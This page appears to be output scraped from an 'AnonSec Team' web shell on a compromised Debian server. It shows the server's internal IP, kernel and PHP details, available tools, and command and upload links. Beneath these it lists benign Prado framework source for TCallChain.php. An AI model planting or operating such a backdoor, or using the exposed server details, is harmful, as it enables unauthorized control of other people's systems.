AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ifk/web/assets/../prado4.3.2/Util/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ifk/web/assets/../prado4.3.2/Util/TCallChain.php
<?php
/**
 * TCallChain class file.
 *
 * @author Brad Anderson <javalizard@gmail.com>
 * @link https://github.com/pradosoft/prado
 * @license https://github.com/pradosoft/prado/blob/master/LICENSE
 */

namespace Prado\Util;

use Prado\Collections\TList;

/**
 * TCallChain is a recursive event calling mechanism.  This class implements
 * the {@link IDynamicMethods} class so that any 'dy' event calls can be caught
 * and patched through to the intended recipient
 * @author Brad Anderson <javalizard@gmail.com>
 * @since 3.2.3
 * @method mixed dyLoadPageConfigurationFromPhp($config, $configPath, $configPagePath)
 * @method mixed dyLoadPageConfigurationFromXml($dom, $configPath, $configPagePath)
 * @method mixed dyApplyConfiguration()
 * @method string[] dyDefaultRoles($defaultRoles)
 * @method bool dyIsInRole($returnValue, $role)
 * @method mixed dyAddItem(mixed $key, mixed $value)
 * @method mixed dyRemoveItem(mixed $key, mixed $value)
 * @method mixed dyNoItem(mixed $returnValue, mixed $key)
 * @method mixed dyWrite(string $str, array|int|\Prado\Util\TCallChain|string $p1, null|\Prado\Util\TCallChain $p2)
 * @method mixed dyWriteLine(string $str, array|int|\Prado\Util\TCallChain|string $p1, null|\Prado\Util\TCallChain $p2)
 * @method string dyFlush()
 * @method mixed dyLogCron(int $numtasks)
 * @method mixed dyLogCronTask(\Prado\Util\Cron\TCronTask $task, string $username)
 * @method mixed dyUpdateTaskInfo(Prado\Util\Cron\TCronTask $task)
 */
class TCallChain extends TList implements IDynamicMethods
{
	/**
	 *	@var \ArrayIterator for moving through the chained method calls
	 */
	private $_iterator;

	/**
	 *	@var string the method name of the call chain
	 */
	private $_method;

	/**
	 * This initializes the list and the name of the method to be called
	 *	@param string $method the name of the function call
	 */
	public function __construct($method)
	{
		$this->_method = $method;
		parent::__construct();
	}


	/**
	 * This initializes the list and the name of the method to be called
	 * @param array|string $method this is a callable function as a string or array with
	 *	the object and method name as string
	 * @param array $args The array of arguments to the function call chain
	 */
	public function addCall($method, $args)
	{
		$this->add([$method, $args]);
	}

	/**
	 * This method calls the next Callable in the list.  All of the method arguments
	 * coming into this method are substituted into the original method argument of
	 * call in the chain.
	 *
	 * If the original method call has these parameters
	 * <code>
	 * $originalobject->dyExampleMethod('param1', 'param2', 'param3')
	 * </code>
	 * <code>
	 * $callchain->dyExampleMethod('alt1', 'alt2')
	 * </code>
	 * then the next call in the call chain will recieve the parameters as if this were called
	 * <code>
	 * $behavior->dyExampleMethod('alt1', 'alt2', 'param3', $callchainobject)
	 * </code>
	 *
	 * When dealing with {@link IClassBehaviors}, the first parameter of the stored argument
	 * list in 'dy' event calls is always the object containing the behavior.  This modifies
	 * the parameter replacement mechanism slightly to leave the object containing the behavior
	 * alone and only replacing the other parameters in the argument list.  As per {@link __call},
	 * any calls to a 'dy' event do not need the object containing the behavior as the addition of
	 * the object to the argument list as the first element is automatic for IClassBehaviors.
	 *
	 * The last parameter of the method parameter list for any callable in the call chain
	 * will be the TCallChain object itself.  This is so that any behavior implementing
	 * these calls will have access to the call chain.  Each callable should either call
	 * the TCallChain call method internally for direct chaining or call the method being
	 * chained (in which case the dynamic handler will pass through to this call method).
	 *
	 * If the dynamic intra object/behavior event is not called in the behavior implemented
	 * dynamic method, it will return to this method and call the following behavior
	 * implementation so as no behavior with an implementation of the dynamic event is left
	 * uncalled.  This does break the call chain though and will not act as a "parameter filter".
	 *
	 * When there are no handlers or no handlers left, it returns the first parameter of the
	 * argument list.
	 *
	 */
	public function call()
	{
		$args = func_get_args();
		if ($this->getCount() === 0) {
			return $args[0] ?? null;
		}

		if (!$this->_iterator) {
			$chain_array = array_reverse($this->toArray());
			$this->_iterator = new \ArrayIterator($chain_array);
		}
		if ($this->_iterator->valid()) {
			do {
				$handler = $this->_iterator->current();
				$this->_iterator->next();
				if (is_array($handler[0]) && $handler[0][0] instanceof IClassBehavior) {
					array_splice($handler[1], 1, count($args), $args);
				} else {
					array_splice($handler[1], 0, count($args), $args);
				}
				$handler[1][] = $this;
				$result = call_user_func_array($handler[0], $handler[1]);
			} while ($this->_iterator->valid());
		} else {
			$result = $args[0] ?? null;
		}
		return $result;
	}


	/**
	 * This catches all the unpatched dynamic events.  When the method call matches the
	 * call chain method, it passes the arguments to the original __call (of the dynamic
	 * event being unspecified in TCallChain) and funnels into the method {@link call},
	 * so the next dynamic event handler can be called.
	 * If the original method call has these parameters
	 * <code>
	 * $originalobject->dyExampleMethod('param1', 'param2', 'param3')
	 * </code>
	 * and within the chained dynamic events, this can be called
	 * <code>
	 * class DyBehavior extends TBehavior {
	 * public function dyExampleMethod($param1, $param2, $param3, $callchain)
	 * $callchain->dyExampleMethod($param1, $param2, $param3)
	 * }
	 * }
	 * </code>
	 * to call the next event in the chain.
	 * @param string $method method name of the unspecified object method
	 * @param array $args arguments to the unspecified object method
	 */
	public function __dycall($method, $args)
	{
		if ($this->_method == $method) {
			return call_user_func_array([$this, 'call'], $args);
		}
		return null;
	}
}

AnonSec - 2021